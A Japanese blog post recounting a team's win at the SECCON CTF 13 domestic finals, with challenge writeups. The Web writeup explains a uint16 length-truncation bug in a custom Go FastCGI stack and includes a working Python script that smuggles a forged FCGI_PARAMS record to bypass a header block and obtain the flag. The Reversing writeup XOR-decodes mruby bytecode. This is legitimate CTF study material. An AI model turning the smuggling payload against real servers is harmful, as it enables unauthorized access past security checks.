st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

SECCON CTF 13国内決勝大会の参加記(writeup)

3/1 - 3/2という日程で、オンサイト形式@浅草橋で開催された。3/1の11時開始で3/2の17時終了ということで30時間の競技だった。hiikunZさん、parabola0149さん、moraさんとBunkyoWesterns*1として参加して優勝した。やったー🎉

国内1位(2021年度)、国内決勝1位(2022年度)、国内決勝2位(2023年度)と来て2年ぶりの優勝なので嬉しい。嬉しいが、今回はWebを得意ジャンルとしている人間にはややつらい問題セットで、私は得点としてはあまりチームに貢献できていなかったので若干の申し訳なさがある。チームメンバーの皆さんありがとう。

ほかのメンバーのwriteup:

国内決勝1位、BunkyoWesternsと投影された瞬間


大会やチームについて

ルール・やっていたこと

JeopardyとKing of the Hill(KotHもしくはKoH)を並行して進めるような形式だった。大体は2022年度大会と同じなので、それらがどういうルールかについてはその際に書いたwriteupを参照されたい。異なっていたのは、以下の2点ぐらいだろうか。

  • Jeopardyでは問題の点数が固定されているStatic Scoringでなく、解いたチーム数に応じて点数が変化していくDynamic Scoringが採用されていた
  • KotHは両日とも同じような問題が出題されていた
    • もちろん日中しか動かないし、KotHに関しては夜になにか作業する必要はまずなかった

ICC(International Cybersecurity Challenge)のように最終的にJeopardyとKotHの点数のバランスがいい感じになるよう調節する、たとえば各ルールの最高得点をもとに大体五分五分になるよう計算するというようなルールはなかった。つまり調整なしの生の得点が加算されていくので、KotHのスコアの計算式次第でゲームが崩壊する。また、Jeopardyで難しい問題が出題されるだろうことが過去の傾向から容易に想像できた。最終的なスコアではJeopardyよりも比重が大きくなりがちであり、かつ少なくとも日中はより得点しやすいKotHに時間をかける方が効率的だというのがチームの共通認識だった。

日中はKotHに注力するとして、Jeopardyはどうするか。基本的には夜にやるしかない。ただ、今回KotHで出題された2問はそれぞれReversing + 競プロ?とCrypto?という組み合わせであって、いずれもほかのメンバーの方が得意とするものであったからお任せし、私は日中もJeopardyの問題を解いていた。解くことができたのはWebとReversingでそれぞれ1問と、時間をかけた割には微妙な結果でなかなか悔しい。

なお、我々は合計で6943点を得点したが、Jeopardyが2011点でKotHが4932点という内訳であった。

会場のチーム紹介と、BunkyoWesternsのテーブル

チーム

以前書いた予選のwriteupを読まれていて、お前は予選落ちではなかったかと思われる方もいそうだけれども、まずこれについて説明したい。それは事実で、一方で私とは別にBunkyoWesternsが予選を通過し国内決勝へ歩を進めていた。しかしながら、同じ日程で開催される国際学会に行く、運営側に吸収される、別チームとして出る(予選段階からそうでそのまま決勝進出を果たしていたり、あるいは予選ではBunkyoWesternsだったけれども国際決勝に出るチームに移ったり)、オンサイトは参加したくない等の様々な事情から、予選に出場していたメンバーで国内決勝に出られる人がひとりもいないという状況になっていた。

もし決勝に出るメンバーが足りなそうであれば出たいと、まず普段はBunkyoWesternsとしてCTFに参加している私が(出られるなら出たいと思い)手を挙げた。結局BunkyoWesterns内でほかに出られそうなメンバーがいなそうだったので、なにかCrypto等の得意ジャンルがありつつも、しかしどのジャンルでも強い方としてhiikunZさんとparabola0149さんに声をかけ、またSatokiさんがPwnが強いmoraさんに声をかけていた。このようにして、普段BunkyoWesternsとしては出ていないメンバーばかりのチームBunkyoWesternsができあがった。

CTFの終了時に可視化システムに映し出されていたBunkyoWesternsの様子。ほかのメンバーがCryptoやKotHで点数を稼ぎまくっていたことがよくわかる

AlpacaHackとアルパカ

過去のCTFで出題された問題に挑戦したり、定期的に個人戦の短期間のCTFが開催されたりと、入門者から慣れている人までCTFを楽しめるプラットフォームであるAlpacaHackがブースを出展していた。決勝大会と並行して決勝観戦CTFなるCTFが開催されており、決勝参加者は残念ながら参加できない(といいつつも、hiikunZさんは「息抜き」として挑戦し15問を解いていて恐ろしかった)ものの、大変盛り上がっていた。

このCTFは解いた問題数に応じてTシャツや靴下等のグッズがもらえたらしい。どれもかわいいデザインで、これだけ決勝の問題が解けないのなら、いっそAlpacaHackの観戦CTFを遊んだ方がよいのではと競技中にしばしば邪念が生じた。チームメンバーやほかの参加者に失礼なのでもちろん遊ばなかったが、面白い問題ばかりが出題されていた(運営のminaminaoさんによるとdinosaurという問題が一押しだという)とアフターパーティーで聞いたのでいずれ挑戦したい。こうやって過去のCTFもすぐ遊べるのがAlpacaHackのよいところだ。

観戦CTFを遊ぶ代わりに、ブースに設置されたアルパカのぬいぐるみを撫でさせてもらったり、顔出しパネルで写真を撮ってもらったりした。AlpacaHackによる今後のこういった企画やCTFが楽しみだ。私も以前作問したが、提供はしたものの事情でその際は出題されず、宙ぶらりんとなっている1問があるのでそのうちまた私の問題が出るかもしれない。しらんけど。

アルパカの顔出しパネルとぬいぐるみ

その他の雑多な感想など

今回もれっくすさん作成の可視化システムが大活躍していた。かっこいいし、ある程度の間隔で気まぐれに、あるいは問題を解いた際にkurenaifさんが現れるのがよい。

今年度大会では、YouTube上で競技の様子がずっと配信されていたらしく、実際に可視化システムによってどんな形で競技が可視化されていたかが確認できるので、ぜひ視聴されたい。YouTubeといえば開催期間中にワークショップやCTF等について何本もショート動画が上がっており、担当されていたのがアスースンさん*2ということでさすがだと納得した。

www.youtube.com

現在のSECCONはCTFだけではなく、カンファレンス(いわく「電脳会議」)としてワークショップやトークも楽しめるようになっている。ただ、残念ながらタイムテーブルを見るとわかるように、決勝大会のプレイヤーは競技を放棄しない限りそれらを楽しむことはできない。悲しい。

両日ともにお昼ご飯が配られており、自分でなにか用意する必要がないし、おいしいしで大変体験がよかった。サンドイッチやおにぎりなので、やろうと思えばご飯を片手に作業することもできる。お菓子も用意されていて至れり尽くせりだった。

レタスがデカくてすぐに崩壊してしまうサンドイッチ

毎年言えることだけれども、問題のクオリティが高いしめちゃくちゃ難しい。さすがArkさんとRyotaKさんという感じだった。WebカテゴリもJailカテゴリ*3も、今回解けた問題以外ではあともうちょっとで解けそうだというものはまったくなかった。かなり悔しい。

問題に関連して、チームieraeのpotetisenseiさん*4も表彰式で言っていたけれども、JeopardyとKotHを同時進行という情報を知った時点で運営は寝させる気がないのだなあと思った。前述のようにKotHで点数を取れなければ負ける可能性が大きいし、とはいえJeopardyも放置できないのでそれは夜間にやらなければならない。ICCやDiceCTF Finalsのように、競技は2日間やるけれども、1日目はJeopardyで2日目はAttack & Defenseと完全にルールを分けてしまう、そして問題はもちろん両日で異なるので徹夜の必要はまずないというやり方もある。個人的には安心して眠れる健康CTFが嬉しいけれども、これはこれで競技時間が制限されて難易度の高い問題が出づらくなる等の問題があるし、一長一短ではある。

夜間の作業がまず必須であるルールならば、大会前後での有給休暇の申請や睡眠の調整、心の準備といったことを十分にやっておきたいので、事前にちゃんとした形でアナウンスをしてほしいと思う。今回のルール形式がJeopardyとKotHのミックスであると運営に知らされたのが決勝の3日前であり、それらのルールが同時進行であると(プレイヤーの質問に答える形で)アナウンスがあったのは前々日だった。運営の大変さは理解するし、このようにとても楽しい大会を開催いただけるだけでありがたいことだけれども、とはいえプレイヤーとしてはもうちょっとなんとかならないだろうかと思う。

国内決勝優勝ということで、賞金10万円に加えて、さくらインターネットさんからHHKB Studio*5がひとりひとつ、さらにさくらのクラウド20万円分のクーポンがもらえるらしい。ありがとうございます。さくらのクラウドのクーポンに有効期限等はあるだろうか*6。なかなか大きい額なので、もしそうならば使い切るための有効な利用法があまり思い浮かばず、BunkyoWesterns CTF開催の機運が高まる。

会場の様子。左側に国際決勝のチームが、右側に国内決勝のチームが固められている。ZK Loversのロゴに修正を入れるか一瞬考えた

競技時間中に解いた問題

競技時間中に取り組んで解くことができた問題について、writeupを書いていく。前置きを長々と書いてきたけれども、前述のように今回はWebとReversingで1問ずつしか解くことができなかったし、KotHにも取り組んでいなかったのでwriteupとしては短いものとなる。解くことができなかったものの、アフターパーティー等で解法を聞き、後から復習した問題についても今後書きたいという気持ちがある。

[Web 173] super-fastcgi (6 solves)

We asked LLM to develop the fastest and secure FastCGI implementation!

(問題サーバのURL)

(Spoiler: It's actually slower than the nginx)

添付ファイル: super-fastcgi.tar.gz

author: RyotaK

ソースコードを読む

ソースコードが与えられているので、ローカルで立ち上げて試しにアクセスしてみる。以下のように、CGIっぽい名前の環境変数を出力しているらしいレスポンスが返ってきた。これだけ。

$ curl http://localhost/
Received FastCGI Request

Params:
REQUEST_URI: /
REQUEST_METHOD: GET
SERVER_NAME: server
…
SCRIPT_NAME: /
REMOTE_PORT: 45006
SCRIPT_FILENAME: /

Body length: 0

ソースコードを見ていく。compose.yaml は以下のような内容で、nginx, server, child という3つのコンテナがあり、このうち child がフラグを持っているのだなあと思う。

services:
  nginx:
    image: nginx:1.27.4
    ports:
      - "80:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    restart: always

  server:
    build: ./server
    restart: always

  child:
    build: ./child
    restart: always
    environment:
      - FLAG=SECCON{dummy}

nginx が使っているnginxの設定について、proxy_pass で全部 server:9090 に回しているらしい。また、以下のように $http_givemeflag という変数をチェックしており、givemeflag のようなヘッダが含まれている(正確にはこのヘッダがなんらかの値を含む)と怒られるらしい。

        # Block requests containing GiveMeFlag in headers
        if ($http_givemeflag) {
            return 403;
        }
serverを読む

server を見ていく。main.gofcgi.go という2つのファイルがあるけれども、エントリーポイントのある前者から見ていく。9090/tcp でリッスンしている。child:9000 と、child コンテナを指して "FastCGI application address" と呼んでいる。

func main() {
    // Enable debug logging
    // slog.SetDefault(slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})))

    server := NewFastCGIServer(
        "child:9000", // FastCGI application address
    )

    // Create HTTP server
    http.Handle("/", server)

    slog.Info("Starting server on :9090")
    if err := http.ListenAndServe(":9090", nil); err != nil {
        slog.Error("Failed to start server", "error", err)
    }
}

ユーザからのリクエストを処理している関数は次の通り。長いのでよく似た処理は端折っている。ここでも givemeflag というヘッダがもし含まれていればそこで弾いている。NewClient という関数で child:9000 というFastCGIのサーバに接続し、いい感じに各種パラメータを詰めて送っている。

func (s *FastCGIServer) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    slog.Debug("ServeHTTP", "request", r)

    if r.Header.Get("Givemeflag") != "" {
        w.Header().Set("Content-Type", "text/plain")
        w.WriteHeader(http.StatusForbidden)
        w.Write([]byte("You are not allowed to access this resource"))
        return
    }

    // Create FastCGI client
    client, err := NewClient("tcp", s.FcgiAddr)
    if err != nil {
        http.Error(w, "Failed to connect to FastCGI application", http.StatusBadGateway)
        slog.Error("FastCGI connection error", "error", err)
        return
    }

    // Read request body
    body, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Failed to read request body", http.StatusInternalServerError)
        return
    }

    // Build FastCGI parameters
    params := make(map[string]string)

    // …

    // Headers
    for header, values := range r.Header {
        header = strings.ToUpper(strings.Replace(header, "-", "_", -1))
        if header == "CONTENT_TYPE" {
            params["CONTENT_TYPE"] = values[0]
        } else if header == "CONTENT_LENGTH" {
            params["CONTENT_LENGTH"] = values[0]
        } else {
            params["HTTP_"+header] = values[0]
        }
    }

    // …

    // Create FastCGI request
    fcgiReq := &Request{
        Params: params,
        Body:   body,
    }

    // Send request to FastCGI application
    response, err := client.Do(fcgiReq)
    if err != nil {
        http.Error(w, "Failed to process request", http.StatusBadGateway)
        slog.Error("FastCGI request error", "error", err)
        return
    }

    // Parse and send response
    s.parseAndSendResponse(w, response)
}

NewClient を含めて、FastCGIのクライアント周りの細かい実装は fcgi.go で定義されている。main.go で呼ばれていた Do という関数は次のような内容で、

  1. リクエストの開始を通知
  2. ヘッダ等のパラメータを送信
  3. リクエストボディを送信
  4. レスポンスを受け取る

という順番でFastCGIのサーバとメッセージの送受信をしていることがわかる。

// Do sends a FastCGI request and returns the response
func (c *Client) Do(req *Request) ([]byte, error) {
    requestID := uint16(rand.Intn(65535))

    // Begin request
    if err := c.writeBeginRequest(requestID); err != nil {
        return nil, err
    }

    // Send params
    if err := c.writeParams(requestID, req.Params); err != nil {
        return nil, err
    }

    // Send stdin
    if err := c.writeStdin(requestID, req.Body); err != nil {
        return nil, err
    }

    // Read response
    return c.readResponse()
}

write から始まる関数は大体同じ構造になっているので、このうちリクエストボディを送る writeStdin のみを紹介する。FastCGIのメッセージはヘッダとボディから成るのだけれども、まずボディのサイズ等が設定されたヘッダを作り、バイナリフォーマットにしてFastCGIサーバへ送信している。

ヘッダには Type というフィールドもあるが、これは続くボディの性質を意味する。FCGI_STDIN は標準入力のデータ(つまりリクエストボディ)を送信するという意味だし、FCGI_PARAMS ではヘッダ等のパラメータを送信するという意味になる。今回は FCGI_STDIN だ。そして、ヘッダに続けてリクエストボディも送っている。

const (
    FCGI_BEGIN_REQUEST = 1
    FCGI_ABORT_REQUEST = 2
    FCGI_END_REQUEST   = 3
    FCGI_PARAMS        = 4
    FCGI_STDIN         = 5
    FCGI_STDOUT        = 6
    FCGI_STDERR        = 7
    FCGI_DATA          = 8

    FCGI_RESPONDER = 1
    FCGI_VERSION_1 = 1
)
// …
type header struct {
    Version       uint8
    Type          uint8
    RequestID     uint16
    ContentLength uint16
    PaddingLength uint8
    Reserved      uint8
}
// …
func (c *Client) writeStdin(requestID uint16, content []byte) error {
    contentSize := len(content)

    h := header{
        Version:       FCGI_VERSION_1,
        Type:          FCGI_STDIN,
        RequestID:     requestID,
        ContentLength: uint16(contentSize),
        PaddingLength: 0,
    }

    if err := binary.Write(c.conn, binary.BigEndian, h); err != nil {
        return err
    }

    if _, err := c.conn.Write(content); err != nil {
        return err
    }

    // Write empty stdin record to signal end
    h = header{
        Version:       FCGI_VERSION_1,
        Type:          FCGI_STDIN,
        RequestID:     requestID,
        ContentLength: 0,
        PaddingLength: 0,
    }
    return binary.Write(c.conn, binary.BigEndian, h)
}

FastCGIサーバから送られてきたレスポンスは次の readResponse で処理している。FCGI_STDOUT は標準出力のデータ(つまりレスポンス)が送信されていることを意味する Type だけれども、それが送られてくる限りバッファに溜め続け、リクエストの処理が完了したことを意味する FCGI_END_REQUEST が送られてきたら、やっと全部のレスポンスが返ってきたとして、バッファを返り値として返している。

func (c *Client) readResponse() ([]byte, error) {
    reader := bufio.NewReader(c.conn)
    var response []byte

    for {
        h := new(header)
        if err := binary.Read(reader, binary.BigEndian, h); err != nil {
            return nil, err
        }

        content := make([]byte, h.ContentLength)
        if _, err := io.ReadFull(reader, content); err != nil {
            return nil, err
        }

        // Skip padding
        if h.PaddingLength > 0 {
            padding := make([]byte, h.PaddingLength)
            if _, err := io.ReadFull(reader, padding); err != nil {
                return nil, err
            }
        }

        switch h.Type {
        case FCGI_STDOUT:
            response = append(response, content...)
        case FCGI_STDERR:
            return nil, errors.New(string(content))
        case FCGI_END_REQUEST:
            return response, nil
        }
    }
}
childを読む

ここまで読んできた server はFastCGIのクライアント側だけれども、次はサーバ側である child を読んでいく。こちらは child.go というひとつのファイルしかない。そして、案の定ライブラリ等を使わず server と同様に自前でFastCGIのメッセージのパーサやらなんやらが書かれている。

まずエントリーポイントは次の通り。9000/tcpでリッスンしているだけで特に変なところはない。

// Starts listening for FastCGI requests on port 9000
func main() {
    // Enable debug logging
    // slog.SetDefault(slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})))

    listener, err := net.Listen("tcp", ":9000")
    if err != nil {
        slog.Error("failed to start server", "error", err)
    }
    defer listener.Close()

    slog.Info("FastCGI server listening on :9000")

    for {
        conn, err := listener.Accept()
        if err != nil {
            slog.Error("Error accepting connection", "error", err)
            continue
        }

        go handleConnection(conn)
    }
}

クライアントが接続してくると handleConnection が呼ばれている。この関数は長めなので、ちまちま読んでいく。全体の流れとしては、先程も紹介したようにFastCGIのメッセージはヘッダとボディから成るので、ヘッダを受け取ってボディの長さを知り、それをもとにボディを読む、そしてリクエストに含まれるすべての情報を受け取るまでこれを繰り返している。

ヘッダとボディを呼んでいる箇所は次の通り。特に不思議な処理はなく、ヘッダから ContentLength で指定されたバイト数だけをボディとして読み取っているのがわかる。

       h := &header{}
        if err := binary.Read(reader, binary.BigEndian, h); err != nil {
            if err != io.EOF {
                slog.Error("Error reading header", "error", err)
            }
            return
        }

        slog.Debug("Header", "header", h)

        content := make([]byte, h.ContentLength)
        if _, err := io.ReadFull(reader, content); err != nil {
            slog.Error("Error reading content", "error", err)
            return
        }

        slog.Debug("Content", "content", string(content))

        // Skip padding
        if h.PaddingLength > 0 {
            padding := make([]byte, h.PaddingLength)
            if _, err := io.ReadFull(reader, padding); err != nil {
                slog.Error("Error reading padding", "error", err)
                return
            }
        }

受け取ったボディについて、ヘッダの Type をもとに処理をしている。リクエストの開始を意味する FCGI_BEGIN_REQUEST がまず送られてくるようになっているが、これはどうでもいいらしく無視。ヘッダ等のパラメータが含まれる FCGI_PARAMS では、いい感じにキーと値をパースしている。そして、リクエストボディが含まれる FCGI_STDIN では、ContentLength が0であるメッセージが来るまで読み取り続ける。ContentLength が0である、つまりボディが空であるメッセージが来れば、ようやくクライアントにレスポンスを返している。

       switch h.Type {
        case FCGI_BEGIN_REQUEST:
            // Just acknowledge the begin request
            continue

        case FCGI_PARAMS:
            if h.ContentLength == 0 {
                // Empty PARAMS record signals end of params
                continue
            }
            // Parse FastCGI params
            pos := 0
            for pos < len(content) {
                nameLen, paramPos := readLength(content, pos)
                valueLen, paramPos := readLength(content, paramPos)
                if paramPos+int(nameLen)+int(valueLen) > len(content) {
                    break
                }
                name := string(content[paramPos : paramPos+int(nameLen)])
                value := string(content[paramPos+int(nameLen) : paramPos+int(nameLen)+int(valueLen)])
                params[name] = value
                pos = paramPos + int(nameLen) + int(valueLen)
            }

        case FCGI_STDIN:
            if h.ContentLength == 0 {
                // Empty STDIN record signals end of request
                sendResponse(conn, h.RequestID, params, body)
                continue
            }
            body = append(body, content...)
        }

sendResponse は次の通り。クライアントから受け取ったパラメータやリクエストボディを handleRequest に投げてレスポンスとするバイト列を得ている。そして、FCGI_STDOUT であるメッセージでそれを送信し、FCGI_END_REQUEST でリクエストの処理が完了したことをクライアントに知らせている。

func sendResponse(conn net.Conn, requestID uint16, params map[string]string, body []byte) {
    response := handleRequest(params, body)

    // Write STDOUT record
    writeRecord(conn, FCGI_STDOUT, requestID, []byte(response))
    // Empty STDOUT to signal end
    writeRecord(conn, FCGI_STDOUT, requestID, nil)

    // Write END_REQUEST record
    endRequest := make([]byte, 8)
    writeRecord(conn, FCGI_END_REQUEST, requestID, endRequest)
}

レスポンスを生成する handleRequest は次の通り。もし givemeflag というヘッダが送信されていて、その値が true であればフラグを返している。もし条件を満たしていなければ、与えられたパラメータやボディのサイズを返している。

func handleRequest(params map[string]string, body []byte) string {

    if params["HTTP_GIVEMEFLAG"] == "true" {
        return "Content-type: text/plain\r\n\r\nOh, you want the flag? Here you go: " + os.Getenv("FLAG")
    }

    response := fmt.Sprintf("Content-type: text/plain\r\n\r\nReceived FastCGI Request\n\nParams:\n")
    for key, value := range params {
        response += fmt.Sprintf("%s: %s\n", key, value)
    }
    response += fmt.Sprintf("\nBody length: %d\n", len(body))

    return response
}

脆弱性はどこに

自前でFastCGIのクライアントとサーバを実装しているということで、同じメッセージ等に対するそれぞれでの解釈の違いみたいなものがあるのではないかと考えた。Request Smugglingのようなことができると嬉しい。

FastCGIの仕様やソースコードを眺めていると、FastCGIのヘッダに含まれる contentLength が16ビットであることを不思議に思った。HTTPリクエストのヘッダやボディで大きなデータを送ってしまえば、オーバーフローしてしまうのではないか。ヘッダだとnginxに Request Header Or Cookie Too Large という感じで怒られるので、やるならボディだ。

ユーザから送られてきたリクエストボディをFastCGIのプロトコルに翻訳して送るのは writeStdin の役割だけれども、まずヘッダでは ContentLength について、リクエストボディのサイズを uint16 で16ビットにしたものを設定している。それはよいのだけれども、リクエストボディの入っている content は特に新たな ContentLength を使って切り出すというようなことはせず、そのままFastCGIサーバに送信している。気になる実装だ。

   contentSize := len(content)

    h := header{
        Version:       FCGI_VERSION_1,
        Type:          FCGI_STDIN,
        RequestID:     requestID,
        ContentLength: uint16(contentSize),
        PaddingLength: 0,
    }

    if err := binary.Write(c.conn, binary.BigEndian, h); err != nil {
        return err
    }

    if _, err := c.conn.Write(content); err != nil {
        return err
    }

16ビットでは収まりきらない値が uint16 に渡されるとどうなるか確認してみる。先程のコードと似たようなシチュエーションで、65537バイトのバイト列が入ってくるような場合にどうなるかを確認する。すると、なんと 1 になってしまった。これでは、先程のコードで65537バイトのバイト列が渡ってきた際に、ヘッダでは ContentLength は1バイトだと通知しているのに、実際にはめちゃくちゃデカいバイト列が送られるとう状況が発生してしまう。

$ cat test.go
package main

import "fmt"

func main() {
    buf := make([]byte, 65537)
    fmt.Printf("%d\n", uint16(len(buf)))
}
$ go run test.go
1

では、これの何が問題になるのか。handleConnection で見たように、child はヘッダに含まれる ContentLength をもとに、それに続いて送られてくるボディを読んでいる。読もうとするサイズと実際のサイズにズレがあるために、メッセージの途中でボディとして読むのを切り上げてしまい、本来ボディとして読むべきそれ以降の箇所を、別のメッセージのヘッダとして読み始めてしまう。これによって、偽造したメッセージを送りつけることができるわけだ。

嘘のメッセージを送ると何が嬉しいか。givemeflag: true というヘッダが送られたことにするというのが今回のゴールであるわけだけれども、TypeFCGI_PARAMS である嘘のメッセージを送ってやることで、そういうことにできる。

とりあえず、まともなペイロードを送るのは後でやることにして、0x10000バイト以上のリクエストボディを送りつけてみる。

import httpx

payload = b''
payload += b'A' * 0x10000
payload += b'B' * 100

httpx.post('http://localhost', data=payload)

ありがたいことにFastCGIのサーバ側ではどんなメッセージを受け取ったかをログに容易に出力できるようになっている。この設定を有効にした上で docker compose logs -f でコンテナのログを見てみる。壊れたヘッダのメッセージを受け取ったということになっており、考えた通りにinteger overflowのおかげで偽のメッセージを送ることができそうだとわかった。

child-1  | time=2025-03-03T17:55:11.598Z level=DEBUG msg=Header header="&{Version:65 Type:65 RequestID:16705 ContentLength:16705 PaddingLength:65 Reserved:65}"

解く

あとは細工したメッセージを送るだけだ。送りたいメッセージは2つで、まず FCGI_PARAMSHTTP_GIVEMEFLAG というパラメータを追加して givemeflag というヘッダが送られたことにし、続いて ContentLength が0である FCGI_STDIN を送ることでリクエストが終了したと知らせる。次のようなスクリプトが出来上がった。

import struct
import httpx

def p16(x):
    return struct.pack('>h', x)

def make_mesage(id):
    message = b''
    m = b'\x0f\x04HTTP_GIVEMEFLAGtrue'

    # FCGI_PARAMSでHTTP_GIVEMEFLAGというパラメータを生やす
    message += b'\x01\x04' + p16(id) + b'\x00' + bytes([len(m)]) + b'\x00\x00' + m
    # FCGI_STDINをレスポンスをflushさせるために送る
    message += b'\x01\x05' + p16(id) + b'\x00\x00\x00\x00'
    
    return message

pad = 0x10001 # 0x10000だとContentLengthが0になってしまうので1足す

payload = b''
payload += b'A'
payload += make_mesage(12345)
assert len(payload) <= pad
payload = payload.ljust(pad, b'Z')

try:
    r = httpx.post('http://(省略)/', data=payload, timeout=0.1)
    print(r.text)
except:
    pass

実行するとフラグが得られた。

$ python3 solve.py 
Oh, you want the flag? Here you go: SECCON{11m_h411ucin4t3d_t0_us...}
SECCON{11m_h411ucin4t3d_t0_us...}

こんなにスムーズには進んでいない。まず1日目の15時半ぐらいに ContentLength が16ビットであることに気づき、16時に大きなリクエストボディを送ると壊れることに気づいた。16時半には HTTP_GIVEMEFLAGtrue とする FCGI_PARAMS のメッセージを送ることに成功している。そこからなぜか時間がかかり、結局解けたのは2日目の開始30分後であった。

[Reversing 145] simple_reversing (7 solves)

just check your flag

添付ファイル: simple_reversing.tar.gz

author: n01e0

x86_64のELFが与えられている。入力した文字列がフラグであるかどうかを確認してくれるバイナリらしい。

$ file ./simple_reversing
./simple_reversing: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d09500a4bcd22182da9c890754f372e96be56b84, for GNU/Linux 3.2.0, stripped
$ ./simple_reversing
Input flag:
hoge
Incorrect...

バイナリエディタで開いてみると RITE0300 というなんらかのシグネチャっぽいバイト列が見つかる。ググると組み込み向けの軽量Rubyであるmrubyの、mrbというファイルのものらしいとわかる。なるほど、バイトコードを逆アセンブルして読む系の問題なんだろうなあと察する。こういう問題は往々にして解きやすいので、一旦後回しにしていた。

あまりにほかの問題が解けず苦しかったので、気分転換として改めて確認することにした。mrubyのリポジトリをcloneしてビルドすると、いくつか実行ファイルが利用できるようになる。バイトコードを逆アセンブルできるものがないか各コマンドについて確認していると、mruby--verbose オプションでできるとわかった。

$ ./bin/mruby -h
Usage: ./bin/mruby [switches] [programfile] [arguments]
  switches:
  -b           load and execute RiteBinary (mrb) file
  -c           check syntax only
  -d           set debugging flags (set $DEBUG to true)
  -e 'command' one line of script
  -r library   load the library before executing your script
  -v           print version number, then run in verbose mode
  --verbose    run in verbose mode
  --version    print the version
  --copyright  print the copyright

mruby --verbose poyo.mrb のようにして先ほど切り出したバイトコードを逆アセンブルする。無名関数っぽいものをいっぱい使っておりちょっと面倒くさそうに見える。

$ ~/tools/mruby/bin/mruby --verbose poyo.mrb
irep 0x5654ece54ad0 nregs=10 nlocals=4 pools=2 syms=6 reps=9 ilen=94
local variable names:
  R1:size_check
  R2:split
  R3:checker
      000 LAMBDA    R1  I[0]
      003 LAMBDA    R2  I[1]
      006 LAMBDA    R4  I[2]
      009 LAMBDA    R5  I[3]
      012 LAMBDA    R6  I[4]
      015 LAMBDA    R7  I[5]
      018 LAMBDA    R8  I[6]
      021 LAMBDA    R9  I[7]
      024 ARRAY     R3  R4  6   ; R3:checker
      028 MOVE      R4  R1      ; R1:size_check
      031 GETGV     R5  $input  
      034 SEND      R4  :call   n=1
      038 JMPNOT    R4  070 
      042 MOVE      R4  R2      ; R2:split
      045 GETGV     R5  $input  
      048 SEND      R4  :call   n=1
      052 MOVE      R5  R3      ; R3:checker
      055 SEND      R4  :zip    n=1
      059 BLOCK     R5  I[8]
      062 SENDB     R4  :map    n=0
      066 SEND      R4  :all?   n=0
      070 JMPNOT    R4  084 
      074 STRING    R5  L[0]    ; Correct!
      077 SSEND     R4  :puts   n=1
      081 JMP       091
      084 STRING    R5  L[1]    ; Incorrect...
      087 SSEND     R4  :puts   n=1
      091 RETURN    R4      
      093 STOP
…

しかしながら、それらの無名関数であろう処理を見てみると大したことはやっていないことがわかる。次の命令列はその一部だが、mrubyの命令セットについてよく知らずとも、前者では [173, 187, 189, …] というような配列を作っており、また後者では ord(c) ^ 254 のようにXORしているのだろうと推測できる。

試しにPythonで bytes(x ^ 254 for x in [173, 187, 189, …]) とこの配列と254をXORしてみると、SECCON{S という文字列が出てきた。

irep 0x5654ece54e50 nregs=12 nlocals=3 pools=0 syms=2 reps=1 ilen=49
local variable names:
  R1:s
      000 ENTER     1:0:0:0:0:0:0 (0x40000)
      004 MOVE      R3  R1      ; R1:s
      007 SEND      R3  :chars  n=0
      011 BLOCK     R4  I[0]
      014 SENDB     R3  :map    n=0
      018 LOADI8    R4  173 
      021 LOADI8    R5  187 
      024 LOADI8    R6  189 
      027 LOADI8    R7  189 
      030 LOADI8    R8  177 
      033 LOADI8    R9  176 
      036 LOADI8    R10 133 
      039 LOADI8    R11 173 
      042 ARRAY     R4  R4  8
      045 EQ        R3  R4
      047 RETURN    R3      

irep 0x5654ece54ee0 nregs=6 nlocals=3 pools=0 syms=2 reps=0 ilen=20
local variable names:
  R1:c
      000 ENTER     1:0:0:0:0:0:0 (0x40000)
      004 MOVE      R3  R1      ; R1:c
      007 SEND      R3  :ord    n=0
      011 LOADI8    R4  254 
      014 SEND      R3  :^  n=1
      018 RETURN    R3      

全部で6つの似たようなブロックがあった。重要な箇所の切り出しにあたってわざわざスクリプトを書くまでもないので、テキストエディタで配列の要素やXORする数値を抽出しつつJavaScriptで扱えるよう加工する。そして、それらをXORするようなスクリプトを用意した。

const s = [
    [[173, 187, 189, 189, 177, 176, 133, 173], 254],
    [[55, 108, 0, 40, 111, 42, 51, 59], 95],
    [[253, 204, 145, 212, 145, 208, 253, 209], 162],
    [[116, 57, 31, 55, 40, 115, 50, 115], 64],
    [[195, 239, 244, 175, 195, 255, 168, 241], 156],
    [[30, 114, 75, 95, 29, 64, 80, 39], 45]
];

let res = '';
for (const [a, b] of s) {
    const r = String.fromCharCode(...a.map(x => x ^ b));
    res += r;
    console.log(r);
}

console.log(res);

これを実行するとフラグが得られた。

SECCON{Sh3_w0uld_n3v3r_s4y_wh3r3_sh3_c4m3_fr0m}

*1:表彰式において言い間違いでTokyoWesternsと紹介されてしまったが、TokyoWesternsとは関係がないチームだ

*2:次回のASUSN CTFも楽しみにしております

*3:なんと説明すればよいかわからないカテゴリ。色々と制限されているサンドボックスから抜け出すという趣旨の問題が集められているという感じか。たとえばpp3という問題ではObjectやFunctionに対して好きにPrototype Pollutionできるし、その後で入力したJSコードが実行されるけど、実行できるJSコードは3つまでしか文字を含んではならない、かつ128文字以内でなければならないという無茶振りだった

*4:先生にさんをつけるのはなんかおかしな響きだけども。妥協の産物として普段はpotetiさんとか小池さんとか呼んでいる

*5:価格を見て驚いた

*6:セキュリティ・キャンプ等でもらったけれども、そのまま腐らせてしまった思い出が蘇る。ああ、そういえば8年前のセキュキャンでもらった(別の会社さんの)ノベルティにようかんが入っていたけれども、たぶん食べないまま実家に置いているなあ…